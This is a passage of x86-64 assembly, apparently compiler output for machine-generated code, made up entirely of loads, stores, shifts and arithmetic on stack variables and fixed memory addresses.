add eax, ecx
mov word [0x1401cc09c], ax
lea rax, [rsp + 0xebc]
mov qword [rsp + 0xb188], rax
mov rax, qword [rsp + 0xa360]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9ea0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2ae], al
movsx eax, byte [rsp + 0x264]
movsx ecx, byte [rsp + 0x230]
sub eax, ecx
mov rcx, qword [rsp + 0xaa10]
mov byte [rcx], al
lea rax, [rsp + 0x156c]
mov qword [rsp + 0xb190], rax
mov eax, dword [rsp + 0x51f8]
mov ecx, dword [rsp + 0x51b0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9a98]
mov dword [rcx], eax
lea rax, [rsp + 0xaaf0]
mov qword [rsp + 0xb198], rax
mov rax, qword [rsp + 0xaec8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa498]
mov qword [rsp + 0xb1a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb1a0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x92f8], rax
mov eax, dword [rsp + 0x50cc]
mov ecx, dword [rsp + 0x4c2c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xadf0]
mov dword [rcx], eax
lea rax, [rsp + 0x2a8]
mov qword [0x1401cdbd0], rax
mov rax, qword [0x1401cd738]
movzx eax, word [rax]
mov word [rsp + 0x18c8], ax
movsx eax, word [rsp + 0x1738]
movsx ecx, word [rsp + 0x1640]
or eax, ecx
mov word [rsp + 0x1570], ax
mov rax, qword [rsp + 0x8ef8]
movzx eax, byte [rax]
mov byte [rsp + 0x2d7], al
mov rax, qword [rsp + 0x9530]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1684]
shl eax, cl
mov word [rsp + 0x175c], ax
lea rax, [rsp + 0x4f4c]
mov qword [rsp + 0xb1a8], rax
mov rax, qword [rsp + 0x9020]
mov rcx, qword [rsp + 0xacb0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x84e0], rax
mov rax, qword [rsp + 0x8d40]
mov rcx, qword [0x1401cc020]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb038]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9720]
mov eax, dword [rax]
mov dword [rsp + 0x5210], eax
mov rax, qword [rsp + 0xaba0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa878]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1401cda80]
mov byte [rcx], al
movzx eax, byte [rsp + 0x245]
mov rcx, qword [rsp + 0x9900]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x281], al
lea rax, [rsp + 0x204]
mov qword [rsp + 0xb1b0], rax
mov rax, qword [rsp + 0xab70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x226]
add eax, ecx
mov byte [rsp + 0x273], al
movzx eax, word [rsp + 0x16d4]
movzx ecx, word [rsp + 0x164c]
sub eax, ecx
mov rcx, qword [rsp + 0x9bc8]
mov word [rcx], ax
lea rax, [rsp + 0xafa0]
mov qword [rsp + 0xb1b8], rax
mov rax, qword [rsp + 0x9048]
mov ecx, dword [rsp + 0x5208]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9108]
mov dword [rcx], eax
lea rax, [rsp + 0x4fa0]
mov qword [rsp + 0xb1c0], rax
mov rax, qword [rsp + 0xad60]
mov rcx, qword [rsp + 0xa0f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xabc8]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x293]
movsx ecx, byte [rsp + 0x20a]
add eax, ecx
mov byte [0x1401cc056], al
movzx eax, word [0x1401cc0cc]
movzx ecx, word [rsp + 0x15c8]
add eax, ecx
mov rcx, qword [rsp + 0xa2c0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x205]
mov byte [rsp + 0x2d8], al
mov rax, qword [rsp + 0xb048]
movsx eax, word [rax]
mov rcx, qword [0x1401cdad8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb080]
mov word [rcx], ax
mov rax, qword [rsp + 0xa7e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa470]
movsx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0xefc], ax
mov rax, qword [rsp + 0xb170]
mov rcx, qword [rsp + 0xa0f8]
mov qword [rsp + 0xb1c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb1c8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x9e18], rax
mov rax, qword [rsp + 0xabd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4da0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c58]
mov dword [rcx], eax
mov eax, dword [rsp + 0x50d0]
mov dword [rsp + 0x5214], eax
mov rax, qword [rsp + 0x9188]
movzx ecx, al
mov rax, qword [rsp + 0xab80]
shl rax, cl
mov rcx, qword [rsp + 0xb140]
mov qword [rcx], rax
lea rax, [0x1401cd7df]
mov qword [rsp + 0xb1d0], rax
mov rax, qword [rsp + 0xac30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb0b8]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1401cc134], ax
movzx eax, word [rsp + 0x17f0]
mov rcx, qword [rsp + 0x9938]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1584], ax
movzx eax, byte [rsp + 0x227]
mov byte [rsp + 0x2d9], al
mov rax, qword [rsp + 0x9a20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1720]
add eax, ecx
mov word [rsp + 0x153c], ax
mov rax, qword [rsp + 0xa8d8]
mov rcx, qword [0x1401cc020]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa508]
mov qword [rcx], rax
mov rax, qword [rsp + 0xafe0]
mov eax, dword [rax]
mov dword [rsp + 0x5218], eax
mov rax, qword [rsp + 0xaf38]
mov rcx, qword [rsp + 0xa4e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x511c], eax
mov rax, qword [rsp + 0xa568]
mov qword [rsp + 0xb1d8], rax
mov rax, qword [rsp + 0x94e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9f48]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x219], al
lea rax, [rsp + 0x100c]
mov qword [0x1401cdbd8], rax
mov rax, qword [rsp + 0x9300]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x94e0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x20b], al
mov rax, qword [0x1401cda30]
movzx eax, word [rax]
mov word [rsp + 0x18cc], ax
movzx eax, byte [rsp + 0x1e2]
mov rcx, qword [rsp + 0x93e8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x24e], al
mov rax, qword [rsp + 0x9760]
mov eax, dword [rax]
mov dword [rsp + 0x521c], eax
mov rax, qword [rsp + 0xa058]
mov rcx, qword [rsp + 0x7fb8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xaa88], rax
mov rax, qword [rsp + 0x9390]
mov rcx, qword [rsp + 0x9ac0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xac10], rax
mov rax, qword [rsp + 0x8f18]
mov eax, dword [rax]
mov dword [rsp + 0x5220], eax
movzx eax, word [0x1401cc054]
movzx ecx, word [rsp + 0x1724]
shl eax, cl
mov word [rsp + 0x17b0], ax
movzx eax, word [rsp + 0x17f0]
movzx ecx, word [rsp + 0x1448]
sar eax, cl
mov word [0x1401cc0dc], ax
mov rax, qword [rsp + 0xac30]
movzx eax, word [rax]
mov word [rsp + 0x18d0], ax
movzx eax, byte [rsp + 0x1eb]
movzx ecx, byte [rsp + 0x19b]
or eax, ecx
mov byte [rsp + 0x22a], al
mov rax, qword [rsp + 0x9178]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x29e]
xor eax, ecx
mov byte [rsp + 0xdf], al
mov rax, qword [rsp + 0xa580]
mov rcx, qword [rsp + 0xa2a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x50cc], eax
mov rax, qword [rsp + 0xb088]
mov rcx, qword [rsp + 0x9e58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ab8], rax
lea rax, [rsp + 0x8980]
mov qword [rsp + 0xb1e0], rax
mov eax, dword [rsp + 0x5098]
mov ecx, dword [rsp + 0x4fc8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x50e8], eax
lea rax, [rsp + 0x157c]
mov qword [rsp + 0xb1e8], rax
lea rax, [rsp + 0x1e2]
mov qword [0x1401cdbe0], rax
mov rax, qword [rsp + 0xa4d0]
movzx eax, byte [rax]
movzx ecx, byte [0x1401cd716]
sub eax, ecx
mov rcx, qword [rsp + 0x9b48]
mov byte [rcx], al
movsx eax, byte [rsp + 0x26e]
movsx ecx, byte [rsp + 0x24a]
sub eax, ecx
mov rcx, qword [rsp + 0xa428]
mov byte [rcx], al
mov rax, qword [rsp + 0xac58]
movzx eax, word [rax]
mov word [rsp + 0x18d4], ax
mov rax, qword [rsp + 0x9690]
movzx eax, word [rax]
mov rcx, qword [0x1401cdab8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1894], ax
lea rax, [rsp + 0x4f9c]
mov qword [rsp + 0xb1f0], rax
mov rax, qword [rsp + 0xad78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa830]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9460]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa250]
mov rcx, qword [rsp + 0x9cd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x91f0]
mov dword [rcx], eax
lea rax, [rsp + 0x9a78]
mov qword [rsp + 0xb1f8], rax
mov rax, qword [rsp + 0x9ca0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9af8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401cdb70]
mov byte [rcx], al
movsx eax, byte [rsp + 0x280]
movsx ecx, byte [0x1401cc06f]
add eax, ecx
mov rcx, qword [rsp + 0xa700]
mov byte [rcx], al
lea rax, [rsp + 0x11f4]
mov qword [rsp + 0xb200], rax
movzx eax, byte [rsp + 0x2ad]
movzx ecx, byte [rsp + 0x227]
sar eax, cl
mov byte [rsp + 0x25d], al
movsx eax, word [rsp + 0x1780]
mov rcx, qword [rsp + 0xa808]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x165c], ax
lea rax, [rsp + 0x50bc]
mov qword [rsp + 0xb208], rax
mov rax, qword [rsp + 0xad90]
mov rcx, qword [rsp + 0x9de8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9e58], rax
lea rax, [rsp + 0x4f2c]
mov qword [rsp + 0xb210], rax
mov rax, qword [rsp + 0x8540]
movzx ecx, al
mov rax, qword [rsp + 0xa9b8]
shl rax, cl
mov qword [rsp + 0xa410], rax
mov rax, qword [rsp + 0x9cc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2cb]
and eax, ecx
mov byte [0x1401cd7eb], al
lea rax, [0x1401cc060]
mov qword [rsp + 0xb218], rax
mov rax, qword [rsp + 0x9dd8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9850]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x97d0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x22b]
mov rcx, qword [rsp + 0x9fb0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa0a0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x2d9]
mov byte [rsp + 0x2da], al
mov eax, dword [rsp + 0x4e90]
mov ecx, dword [rsp + 0x51c8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xad88]
mov dword [rcx], eax
lea rax, [rsp + 0xa6f8]
mov qword [rsp + 0xb220], rax
mov rax, qword [rsp + 0x9890]
mov ecx, dword [0x1401cd720]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa398]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb040]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa178]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa070], rax
mov rax, qword [rsp + 0x9d78]
movzx eax, byte [rax]
movzx ecx, byte [0x1401cc00c]
and eax, ecx
mov byte [0x1401cc07f], al
mov rax, qword [rsp + 0x9038]
movzx eax, word [rax]
mov word [rsp + 0x18d8], ax
movsx eax, byte [rsp + 0x217]
movsx ecx, byte [rsp + 0x1f9]
add eax, ecx
mov rcx, qword [rsp + 0x93c0]
mov byte [rcx], al
mov rax, qword [rsp + 0xaa08]
movzx eax, word [rax]
mov word [rsp + 0x18dc], ax
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaa18]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1520], ax
mov rax, qword [rsp + 0x97f8]
mov rcx, qword [rsp + 0xae98]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa898]
mov qword [rcx], rax
lea rax, [rsp + 0x51a8]
mov qword [rsp + 0xb228], rax
mov rax, qword [rsp + 0x9808]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x1401cc028]
shr rax, cl
mov rcx, qword [rsp + 0x9570]
mov qword [rcx], rax
lea rax, [rsp + 0x4ef0]
mov qword [rsp + 0xb230], rax
lea rax, [rsp + 0x16f8]
mov qword [0x1401cdbe8], rax
mov rax, qword [rsp + 0xa888]
movsx eax, byte [rax]
mov rcx, qword [0x1401cd760]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x267], al
movzx eax, word [rsp + 0x18bc]
movzx ecx, word [rsp + 0x17b0]
or eax, ecx
mov word [rsp + 0x15b0], ax
lea rax, [rsp + 0x207]
mov qword [rsp + 0xb238], rax
mov rax, qword [0x1401cd738]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1358]
xor eax, ecx
mov word [rsp + 0x16c8], ax
mov eax, dword [rsp + 0x4c2c]
mov dword [rsp + 0x5224], eax
mov rax, qword [rsp + 0xad88]
mov ecx, dword [rsp + 0x4f34]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4f00], eax
mov rax, qword [rsp + 0xa608]
mov rax, qword [rax]
mov qword [rsp + 0xb240], rax
mov rax, qword [rsp + 0x9d40]
mov rcx, qword [rsp + 0x8158]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa0d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xabb0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1e6]
add eax, ecx
mov rcx, qword [0x1401cdb88]
mov byte [rcx], al
movsx eax, word [0x1401cc058]
mov rcx, qword [rsp + 0xa108]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa7e8]
mov word [rcx], ax
lea rax, [rsp + 0x177c]
mov qword [rsp + 0xb248], rax
movsx eax, byte [rsp + 0x217]
mov rcx, qword [rsp + 0x9e28]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x255], al
lea rax, [0x1401cda70]
mov qword [rsp + 0xb250], rax
mov rax, qword [rsp + 0xa338]
mov rcx, qword [rsp + 0x9ba0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9438], rax
mov rax, qword [rsp + 0x8de0]
mov rcx, qword [rsp + 0xab40]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5010], eax
lea rax, [rsp + 0x4a7c]
mov qword [rsp + 0xb258], rax
mov rax, qword [rsp + 0xa2e8]
mov rcx, qword [rsp + 0x8980]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8e70], rax
mov rax, qword [rsp + 0x9aa8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a9]
add eax, ecx
mov rcx, qword [0x1401cd8b8]
mov byte [rcx], al
lea rax, [rsp + 0x278]
mov qword [rsp + 0xb260], rax
movsx eax, word [rsp + 0x15dc]
movsx ecx, word [rsp + 0x17a0]
shl eax, cl
mov word [rsp + 0x15d0], ax
movzx eax, byte [rsp + 0x2d8]
mov rcx, qword [rsp + 0xa730]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9f40]
mov byte [rcx], al
movzx eax, byte [rsp + 0x28f]
mov byte [rsp + 0x2db], al
mov rax, qword [rsp + 0xaab0]
movzx ecx, al
mov rax, qword [rsp + 0xaa20]
shr rax, cl
mov rcx, qword [rsp + 0x8fc0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x50b4]
mov dword [rsp + 0x5228], eax
mov eax, dword [rsp + 0x4e54]
mov ecx, dword [0x1401cd710]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xab98]
mov dword [rcx], eax
lea rax, [rsp + 0x9728]
mov qword [rsp + 0xb268], rax
lea rax, [rsp + 0x21c]
mov qword [0x1401cdbf0], rax
mov rax, qword [rsp + 0xaea8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa878]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8f40]
mov byte [rcx], al
movsx eax, word [rsp + 0x14e0]
mov rcx, qword [rsp + 0x92b8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1568], ax
mov rax, qword [rsp + 0xacf0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9778]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1054], ax
mov rax, qword [rsp + 0xb1e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1870]
sub eax, ecx
mov word [rsp + 0x1684], ax
mov rax, qword [rsp + 0xa6f8]
mov qword [rsp + 0xb270], rax
mov rax, qword [rsp + 0x9d08]
mov rcx, qword [0x1401cc010]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa070], rax
mov rax, qword [rsp + 0x8f18]
mov ecx, dword [rsp + 0x4e7c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa2a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9fa8]
mov eax, dword [rax]
mov dword [rsp + 0x522c], eax
mov rax, qword [rsp + 0xb0a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14cc]
add eax, ecx
mov rcx, qword [rsp + 0x9e70]
mov word [rcx], ax
mov rax, qword [rsp + 0x9df8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x280]
sub eax, ecx
mov byte [0x1401cd7ec], al
lea rax, [rsp + 0x27b]
mov qword [rsp + 0xb278], rax
movsx eax, word [rsp + 0x189c]
mov rcx, qword [rsp + 0x8f30]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1858], ax
mov rax, qword [rsp + 0xa480]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x218]
and eax, ecx
mov rcx, qword [rsp + 0xa150]
mov byte [rcx], al
mov rax, qword [rsp + 0xb040]
mov rax, qword [rax]
mov qword [rsp + 0xb280], rax
mov rax, qword [0x1401cd728]
mov rcx, qword [rsp + 0xab60]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xaa78], rax
mov eax, dword [rsp + 0x5050]
mov dword [rsp + 0x5230], eax
mov eax, dword [rsp + 0x5054]
mov rcx, qword [rsp + 0xac20]
mov qword [rsp + 0xb288], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb288]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4eac], eax
movzx eax, byte [rsp + 0x253]
movzx ecx, byte [rsp + 0x2ba]
xor eax, ecx
mov byte [rsp + 0x225], al
movzx eax, word [rsp + 0x1660]
mov word [0x1401cdbf8], ax
movzx eax, word [rsp + 0x16c8]
mov word [rsp + 0x18e0], ax
movsx eax, word [rsp + 0x167c]
mov rcx, qword [rsp + 0x9478]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa808]
mov word [rcx], ax
lea rax, [rsp + 0x2bd]
mov qword [rsp + 0xb290], rax
mov rax, qword [rsp + 0x9560]
mov rcx, qword [rsp + 0xb1d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9388], rax
mov rax, qword [rsp + 0x90d0]
mov eax, dword [rax]
mov dword [rsp + 0x5234], eax
mov rax, qword [rsp + 0x92c0]
mov rax, qword [rax]
mov rcx, qword [0x1401cc020]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa030], rax
mov rax, qword [rsp + 0xb1f0]
mov rcx, qword [rsp + 0x93c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4eec], eax
lea rax, [0x1401cc01a]
mov qword [rsp + 0xb298], rax
movsx eax, byte [rsp + 0x2c7]
movsx ecx, byte [rsp + 0x1f2]
sub eax, ecx
mov byte [0x1401cd726], al
mov rax, qword [rsp + 0xa9b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2d3]
add eax, ecx
mov rcx, qword [rsp + 0x9050]
mov byte [rcx], al
lea rax, [0x1401cda00]
mov qword [rsp + 0xb2a0], rax
mov rax, qword [rsp + 0xabd8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa160]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf78], ax
mov rax, qword [rsp + 0x9658]
mov ecx, dword [rsp + 0x4f10]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9518]
mov dword [rcx], eax
lea rax, [rsp + 0x5034]
mov qword [rsp + 0xb2a8], rax
mov rax, qword [rsp + 0xa698]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xac10]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ae0], rax
lea rax, [rsp + 0xa0d8]
mov qword [rsp + 0xb2b0], rax
mov rax, qword [rsp + 0x9540]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb290]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9df8]
mov byte [rcx], al
movsx eax, word [rsp + 0x1764]
mov rcx, qword [rsp + 0x9730]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401cc138], ax
mov rax, qword [rsp + 0x9818]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9960]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8c50]
mov byte [rcx], al
lea rax, [rsp + 0x1728]
mov qword [rsp + 0xb2b8], rax
movzx eax, word [rsp + 0x1800]
movzx ecx, word [rsp + 0x1688]
or eax, ecx
mov word [rsp + 0x1808], ax
lea rax, [rsp + 0x228]
mov qword [rsp + 0xb2c0], rax
mov rax, qword [rsp + 0x9370]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x1401cc028]
shl rax, cl
mov qword [rsp + 0xb280], rax
mov eax, dword [rsp + 0x4e7c]
mov dword [rsp + 0x5238], eax
mov rax, qword [rsp + 0x93f8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8f90]
sar rax, cl
mov qword [rsp + 0x8ab8], rax
mov rax, qword [rsp + 0x9800]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5020]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9e08]
mov dword [rcx], eax
mov rax, qword [rsp + 0xadf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1810]
and eax, ecx
mov word [0x1401cc13c], ax
lea rax, [rsp + 0x267]
mov qword [rsp + 0xb2c8], rax
mov rax, qword [rsp + 0x9b08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa680]
movsx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x1840], ax
lea rax, [rsp + 0x2c8]
mov qword [rsp + 0xb2d0], rax
movzx eax, word [rsp + 0x15a4]
mov rcx, qword [rsp + 0xa940]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1624], ax
mov rax, qword [rsp + 0xaa50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x50a8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa9e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9280]
mov eax, dword [rax]
mov dword [rsp + 0x523c], eax
mov rax, qword [rsp + 0x9cb0]
mov rcx, qword [rsp + 0xa800]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xab00]
mov qword [rcx], rax
lea rax, [rsp + 0x9418]
mov qword [rsp + 0xb2d8], rax
movzx eax, byte [rsp + 0x22c]
mov rcx, qword [rsp + 0xad08]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401cc06e], al
movsx eax, byte [rsp + 0x28c]
mov rcx, qword [rsp + 0x9bb0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa850]
mov byte [rcx], al
movzx eax, word [rsp + 0x186c]
movzx ecx, word [rsp + 0x1888]
add eax, ecx
mov word [rsp + 0x16b8], ax
lea rax, [rsp + 0x160c]
mov qword [rsp + 0xb2e0], rax
mov rax, qword [rsp + 0xae58]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9590]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xeb0], ax
mov rax, qword [rsp + 0xb2a8]
mov ecx, dword [rsp + 0x5210]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4998], eax
mov rax, qword [rsp + 0x9fe0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5090]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9350]
mov rcx, qword [rsp + 0xa5c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x91e8]
mov qword [rcx], rax
lea rax, [rsp + 0xae10]
mov qword [rsp + 0xb2e8], rax
lea rax, [rsp + 0x253]
mov qword [0x1401cdc00], rax
mov rax, qword [0x1401cd8c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x96a0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x298], al
lea rax, [rsp + 0x1b1]
mov qword [rsp + 0xb2f0], rax
mov rax, qword [rsp + 0xb048]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x91c0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1628], ax
lea rax, [0x1401cc0b8]
mov qword [rsp + 0xb2f8], rax
mov rax, qword [rsp + 0xa5c0]
mov rcx, qword [rsp + 0x9ff8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8ff8], rax
mov rax, qword [rsp + 0x8ef0]
mov rcx, qword [rsp + 0x9370]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xaa20], rax
lea rax, [rsp + 0x514c]
mov qword [rsp + 0xb300], rax
mov eax, dword [rsp + 0x4fa4]
mov ecx, dword [rsp + 0x513c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x51b4], eax
movzx eax, word [rsp + 0x10c0]
movzx ecx, word [rsp + 0x18a0]
add eax, ecx
mov word [0x1401cc0b0], ax
lea rax, [rsp + 0x1f9]
mov qword [rsp + 0xb308], rax
mov rax, qword [rsp + 0xa8a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x112]
sub eax, ecx
mov rcx, qword [rsp + 0x9ab8]
mov byte [rcx], al
movsx eax, word [rsp + 0x153c]
mov rcx, qword [0x1401cd8d8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9488]
mov word [rcx], ax
movzx eax, word [rsp + 0x186c]
mov word [rsp + 0x18e4], ax
mov rax, qword [rsp + 0xac78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8fb0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb2e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xae18]
mov qword [rsp + 0xb310], rax
mov rax, qword [rsp + 0x95c0]
mov ecx, dword [rsp + 0x520c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa948]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9f50]
mov rcx, qword [rsp + 0x9868]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5204], eax
mov rax, qword [rsp + 0x9d28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401cd716], al
movzx eax, byte [rsp + 0x73]
mov byte [rsp + 0x2dc], al
mov rax, qword [rsp + 0xaa38]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1734]
or eax, ecx
mov rcx, qword [rsp + 0x9ab0]
mov word [rcx], ax
mov rax, qword [rsp + 0xade8]
movzx eax, byte [rax]
mov byte [rsp + 0x2dd], al
movzx eax, word [rsp + 0x15ac]
mov rcx, qword [rsp + 0x9c78]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x15a4], ax
mov rax, qword [rsp + 0x9490]
mov rcx, qword [rsp + 0xac68]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xa9f0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4e50]
mov dword [rsp + 0x5240], eax
